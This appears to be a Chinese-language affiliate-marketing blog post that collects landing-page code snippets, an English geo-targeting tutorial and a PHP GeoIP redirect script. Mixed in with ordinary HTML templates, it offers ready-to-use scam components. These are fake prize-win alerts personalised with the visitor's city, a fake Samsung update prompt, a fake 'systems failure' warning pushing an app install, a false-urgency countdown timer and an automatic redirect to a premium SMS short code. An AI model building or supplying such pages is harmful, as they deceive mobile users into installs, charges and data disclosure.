这个代码很简单吗,很多人都写过,只要你写过一个页面,那么肯定就见过,那就是一个空白的HTML页面模板,多见的和hello world一样,云落是把他写在编辑器的默认新建模板里面的

<!DOCTYPE html><html lang="zh-CN">  <head>    <meta charset="utf-8">    <title>Untitled</title>    <meta name="description" content="This is an example of a meta description.">    <link rel="stylesheet" type="text/css" href="theme.css">    <!--[if lt IE 9]><script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>    <![endif]-->  </head>  <body>  </body></html>



<script src="/script.js" async></script>



<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=no"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><meta name="HandheldFriendly" content="true">






<input type="text" title="email" required pattern="[^@]+@[^@]+\.[a-zA-Z]{2,6}" />



<input type="text" name="frameworks" list="frameworks" /><datalist id="frameworks"><option value="中国银行"><option value="中国石油"><option value="中国电信"><option value="中国移动"><option value="中国联通"></datalist>


<meta name="viewport" content="width=device-width; initial-scale=1.0; maximum-scale=1.0; user-scalable=0;"><meta name="apple-mobile-web-app-capable" content="yes"><meta name="robots" content="noindex, nofollow, noarchive, nosnippet" />


 <script>alert("Congratulations!\n\nYou have come first in "+place+"'s (Mobile) prize draw contest!\n\nYou are now entitled to choose (1) reward!\n\nPress OK to continue...");</script>或者* SAMSUNG REQUIRED UPDATE * Samsung needs to install the updated streaming app in order to continue viewing content on this site.Install now on Google Play.


<body bgcolor="#000000"><script type='text/javascript'>alert('***** WARNING ***** \n\n(4) Systems failure detected while you attempted to perform this download. Your phone contacts, photos & password could be damaged. \n\nImmediate action must be taken : \n\nStep 1: Install Kiwi Calendar Recovery from App Store \n\nStep 2: Load Apps & Run Auto Recovery function \n\nStep 3: Wait for 60 Seconds for System Repair \n\r\n\r *** Exit at your own risk ***');</script><meta http-equiv="refresh" content="0;URL=https://jiemahao.com" /></body>

显示地理位置的JavaScript Code

<script language="JavaScript" src="http://j.maxmind.com/app/geoip.js"></script><script>var place;var city = geoip_city();var country = geoip_country_name();if(city=='') place = country;else place = city;</script>引用处代码:<script language="JavaScript">document.write(place);</script>


<script language="JavaScript" type="text/javascript">function exit_alert(){alert("You Have Chosen the New Iphone 6 (32GB Black).\n\nGood News! We have (2) iPhone 6 in stock and your prize has now been reserved!\n\nPlease answer the final qualifying question correctly and enter your mobile number on the next page to continue!");}</script> 引用处<a class="step2" href="<?php echo $offer; ?>" onClick="exit_alert();">

显示星期几的或具体上下午的JavaScript Code:

<strong><script type="text/javascript">var d=new Date();var weekday=new Array(7);weekday[0]=" Sunday ";weekday[1]=" Monday ";weekday[2]=" Tuesday ";weekday[3]=" Wednesday ";weekday[4]=" Thursday ";weekday[5]=" Friday ";weekday[6]=" Saturday ";document.write("" + weekday[d.getDay()]);</script> <script language="JavaScript"><!-- Beginvar d = new Date();var h = d.getHours();if (h < 2) document.write("morning, ");else if (h < 3) document.write("morning, ");else if (h < 7) document.write("morning, ");else if (h < 12) document.write("morning, ");else if (h < 17) document.write("afternoon, ");else if (h < 23) document.write("evening, ");else document.write("evening");// End --></script></strong> we randomly select one <strong></strong> user from <strong><script language="JavaScript">document.write(place);</script></strong> who is eligible for a chance to win a brand new iPad! <br />Based on today's draw you are this <strong><script language="JavaScript"><!-- Beginvar d = new Date();var h = d.getHours();if (h < 2) document.write("morning's");else if (h < 3) document.write("morning's");else if (h < 7) document.write("morning's");else if (h < 12) document.write("morning's");else if (h < 17) document.write("afternoon's");else if (h < 23) document.write("evening's");else document.write("evening's");// End --></script>


 <script>setInterval('countdown()',1000);function countdown(){var mins = parseInt(document.getElementById("mins").innerHTML);var secs = parseInt(document.getElementById("hsecs").innerHTML);if(mins!=0 && secs==0){nmins = mins -1; nsecs = 59;}else if(mins!=0 || secs!=0){nmins = mins; nsecs = secs - 1;}else if(mins==0 && secs==0){nmins = mins; nsecs = secs;}document.getElementById("mins").innerHTML = nmins;document.getElementById("hsecs").innerHTML = nsecs;if(nsecs < 10) nsecs = "0" + nsecs;document.getElementById("secs").innerHTML = nsecs;}</script>引用计时器代码:<span style="color:red;"><span id="mins">3</span> Mins <span id="secs">41</span> Sec <span style="display: none;" id="hsecs">41</span> </span>
自动重定向短讯:<script type="text/javascript">              setTimeout(function() { window.location.href="sms:36773?body=ON WIN"; }, 5000);          </script>

GEO dating landings pages将会是很好的促进CTR转化率。如果在配合声音,来路关联脚本、关闭提示脚本,辅以热门时事,简单问答判断,如你nice不?还有大人类offer Dating .—Are you older than 18?

Geo Targeting

Geo Targeting

Geo targeting is pretty simple but used correctly can increase your CTR pretty dramatically. In this post I’m going to show you how to implement geo targeting step by step and talk about some practical applicatons.

Step 1 – Get the script

A simple script to set up and use is http://www.maxmind.com/app/javascript_city

Step 2 – Add the script to your LP

You will need an HTML editor and some very basic HTML knowledge (which you should definitely have).

Add this code <script language=”JavaScript” src=”http://j.maxmind.com/app/geoip.js”></script>
to the head section of your HTML (add it after the <head> tag and before the </head> tag)

Now wherever you want to display the city on your page use this code

<script language=”JavaScript”>document.write(geoip_city()) ;</script>

That’s really it.

So, what are some ways you can use this?

You can use this on virtually any campaign. Some of the most popular uses are;

– On a dating .”Meet singles in cityname” type thing

– On an insurance landing page. “Get insurance rates in cityname”

– On any freebie, coupon, etc. type offer. “We have a special deal for people in cityname”

Those are the most obvious examples but you can get really creative with this. Don’t just use the obvious examples but come up with really creative ways to use geo targeting and it can really do wonders for your CTR and conversions.

GeoIP Redirection 教程
GeoIP Redirection 步骤



<?php $IP = $_SERVER["REMOTE_ADDR"];include("geoip.inc");$gi = geoip_open("GeoIP.dat", GEOIP_MEMORY_CACHE);$CountryCode = geoip_country_code_by_addr($gi, $IP);geoip_close($gi);// ****DO NOT TOUCH ABOVE THIS LINE.****** //***Consult the Readme if you aren't sure what you're doing**** if ($CountryCode=="US"){ //US offers go here header('Location: http://www.yahoo.com'); } //Add or remove these else if statements depending on which countries you have offers for else if($CountryCode=="GB") { //UK offers go here header('Location: http://www.google.com'); } else if($CountryCode=="AU") { //AU offers go here }else if($CountryCode=="DE") {//DE offers go here } else { //Change this to reflect your international offers for country codes not listed above header('Location: http://www.baidu.com'); } ?>


把GeoIP.dat, geoip.inc 和 PHP文件放在同一个文件夹,PHP文件可以任意取名,然后打包上传到可以访问的目录。